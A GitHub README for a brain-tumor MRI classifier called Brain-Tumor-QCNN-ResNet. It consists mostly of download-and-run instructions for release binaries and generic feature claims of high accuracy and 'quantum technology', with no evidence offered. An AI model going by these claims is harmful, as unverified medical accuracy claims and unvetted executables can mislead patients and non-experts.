codegeaslelouch

# 🧠 Brain-Tumor-QCNN-ResNet - Classify Brain Tumors Easily

![Download](https://img.shields.io/badge/Download-Now-blue)

## 🚀 Getting Started

Welcome to Brain-Tumor-QCNN-ResNet! This application helps you classify brain tumors using advanced technology. Whether you are in medicine, healthcare, or simply curious about AI's role in medical imaging, you can use this tool without any programming skills.

## 📥 Download & Install

To get started, you need to download the software. Click the link below to visit the Releases page and download the latest version of the application:

[Download Now](https://github.com/codegeaslelouch/Brain-Tumor-QCNN-ResNet/releases)

Follow these steps to install and run the software:

1. **Visit the Releases Page:** Click the link above to reach our GitHub Releases page.
2. **Choose the Latest Version:** Look for the most recent version listed on the page.
3. **Download the File:** Click on the asset that matches your operating system (Windows, macOS, or Linux).
4. **Install the Application:**
   - For Windows: Double-click the downloaded `.exe` file and follow the prompts.
   - For macOS: Open the downloaded `.dmg` file and drag the application to your Applications folder.
   - For Linux: Extract the files and run the application from your terminal.

5. **Run the Application:** Once installed, find the Brain-Tumor-QCNN-ResNet application icon and open it.

## 💡 Features

Brain-Tumor-QCNN-ResNet comes packed with features to enhance your experience:

- **Multi-Class Detection:** Identify several types of brain tumors at once.
- **User-Friendly Interface:** Navigate easily with a straightforward layout.
- **Quantum Technology:** Leverage the power of quantum computing without technical know-how.
- **Support for MRI Images:** Work directly with MRI scans for fast and accurate results.
- **High Accuracy:** Benefits from advanced algorithms to improve classification rates.

## ⚙️ System Requirements

To run Brain-Tumor-QCNN-ResNet, your system should meet the following requirements:

- **Operating System:** Windows 10 or later, macOS 10.15 (Catalina) or later, or a modern Linux distribution.
- **Processor:** A multi-core processor (Intel i5 or AMD Ryzen 5 or better).
- **RAM:** At least 8 GB of RAM is recommended.
- **Storage:** Minimum of 1 GB of available disk space.
- **Graphics:** A graphics card that supports OpenCL or similar.

## 🔧 How to Use the Application

1. **Open the Application:** Find the application icon on your desktop or in your Applications folder.
2. **Upload an MRI Image:** Click on the upload button and select your MRI image file from your computer.
3. **Start Detection:** Press the "Classify" button to begin the analysis. The software will process the image and display the results.
4. **Review Results:** Read the classification results clearly shown on the interface.

## 📚 Resources and Support

For more information and resources, you can explore the following links:

- [Documentation](https://github.com/codegeaslelouch/Brain-Tumor-QCNN-ResNet/wiki)
- [FAQ](https://github.com/codegeaslelouch/Brain-Tumor-QCNN-ResNet/wiki/FAQ)
- [User Guide](https://github.com/codegeaslelouch/Brain-Tumor-QCNN-ResNet/wiki/User-Guide)

If you have further questions or need support, please create an issue on our GitHub page.

## 🤝 Contributing

If you want to contribute to Brain-Tumor-QCNN-ResNet, we welcome your help! You can submit a pull request or report any bugs you find. Your contributions help us improve this tool for everyone.

## 🔗 Connect with Us

Stay updated and connected through:

- [GitHub Repository](https://github.com/codegeaslelouch/Brain-Tumor-QCNN-ResNet)
- [Twitter](https://twitter.com/BrainTumorDetection)

Thank you for using Brain-Tumor-QCNN-ResNet. We hope it helps you in your work with brain tumor classification!

[Download Now](https://github.com/codegeaslelouch/Brain-Tumor-QCNN-ResNet/releases)